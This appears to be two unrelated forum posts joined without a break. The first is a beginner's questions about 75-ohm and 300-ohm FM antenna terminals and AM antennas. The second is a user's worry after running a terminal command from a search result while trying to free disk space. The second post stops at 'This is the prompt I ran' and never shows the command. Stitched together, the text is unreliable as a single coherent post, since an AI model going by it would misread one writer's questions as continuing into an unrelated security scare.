I don't quite understand how FM and AM antenna work. I google it and there is so much information that it's overwhelming. I see a 300 ohm and 75 ohm and unbalanced and balanced. Also the ports look different.

Before I annoy anymore people, here are my questions:

Do I need both 75 and 300 if I just want to listen to the radio?

I don't know what kind of connection is on 75 ohm. It's a screw of some sort?

I can get this for the 300 ohm (https://www.amazon.com/Ancable-Antenna-Terminal-Marantz-Receiver/dp/B07BGY21GZ) but where do I connect the fins? on the 300 ohm and Bal? or Ground and 300 ohm?

And where can I get an AM antenna? Can I just do speaker wire?

Thank you for your patience with a young idiot.

I was looking for a way to clear up some space and I googled it and not thinking I accidentally clicked the first link and ran the terminal prompt. I stopped before entering my password because I realized what I had done, but I'm wondering what can I do to make sure my computer is ok.

I realize I'm an idiot, but any help would be useful.

This is the prompt I ran
